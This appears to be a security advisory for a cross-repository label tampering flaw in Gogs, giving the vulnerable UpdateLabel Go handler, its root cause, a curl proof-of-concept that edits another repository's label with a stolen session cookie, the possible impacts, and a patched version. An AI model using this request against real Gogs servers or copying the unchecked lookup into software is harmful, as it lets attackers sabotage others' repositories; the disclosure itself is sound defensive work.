| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| gogs.io/gogs | < 0.14.0mọi phiên bản | 0.14.0 |
| gogs | < 0.14.1 | 0.14.1 |
A broken access control vulnerability in Gogs allows authenticated users with write access to any repository to modify labels belonging to other repositories. The UpdateLabel function in the Web UI (internal/route/repo/issue.go) fails to verify that the label being modified belongs to the repository specified in the URL path, enabling cross-repository label tampering attacks.
The vulnerability exists in the Web UI's label update endpoint POST /:username/:reponame/labels/edit. The handler function UpdateLabel uses an incorrect database query function that bypasses repository ownership validation:
Vulnerable Code (internal/route/repo/issue.go:1040-1054):
func UpdateLabel(c *context.Context, f form.CreateLabel) {
l, err := database.GetLabelByID(f.ID) // ❌ No repository validation
if err != nil {
c.NotFoundOrError(err, "get label by ID")
return
}
// ❌ Missing validation: l.RepoID != c.Repo.Repository.ID
l.Name = f.Title
l.Color = f.Color
if err := database.UpdateLabel(l); err != nil {
c.Error(err, "update label")
return
}
c.RawRedirect(c.Repo.MakeURL("labels"))
}
Root Cause:
database.GetLabelByID(f.ID) which internally passes repoID=0 to the ORM layerinternal/database/issue_label.go:147-166, passing repoID=0 causes the ORM to ignore repository restrictionsl.RepoID == c.Repo.Repository.ID before updatingreqRepoWriter() only validates write access to the repository in the URL path, not the label's actual repositoryInconsistency with Other Functions:
NewLabel: Correctly sets RepoID = c.Repo.Repository.IDDeleteLabel: Correctly uses database.DeleteLabel(c.Repo.Repository.ID, id)EditLabel: Correctly uses database.GetLabelOfRepoByID(c.Repo.Repository.ID, id)UpdateLabel in Web UI uses the vulnerable patternBạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíPrerequisites:
Step 1: Identify Target Label ID
Step 2: Execute Attack
# Login as alice, get session cookie
# Open DevTools → Application → Cookies → i_like_gogs
# Copy the cookie value
# Send malicious request
curl -X POST "http://localhost:3000/alice/repo-a/labels/edit" \
-H "Cookie: i_like_gogs=<ALICE_SESSION_COOKIE>" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "id=1&title=HACKED-BY-ALICE&color=%23000000"
# Expected response: 302 Found (redirect)
Step 3: Verify Impact
Issue Classification Disruption: Modify critical labels (e.g., "P0-Critical" → "P3-Low") causing urgent issues to be deprioritized
Security Issue Concealment: Change "security" labels to "documentation" to hide vulnerability reports from security teams
Workflow** Sabotage**: Alter labels used in CI/CD automation, breaking deployment pipelines
Mass Disruption: Batch modifies all labels across multiple repositories using ID enumeration
Recommended Fix:
func UpdateLabel(c *context.Context, f form.CreateLabel) {
l, err := database.GetLabelOfRepoByID(c.Repo.Repository.ID, f.ID)
if err != nil {
c.NotFoundOrError(err, "get label of repository by ID")
return
}
// Now label ownership is validated at database layer
l.Name = f.Title
l.Color = f.Color
if err := database.UpdateLabel(l); err != nil {
c.Error(err, "update label")
return
}
c.RawRedirect(c.Repo.MakeURL("labels"))
}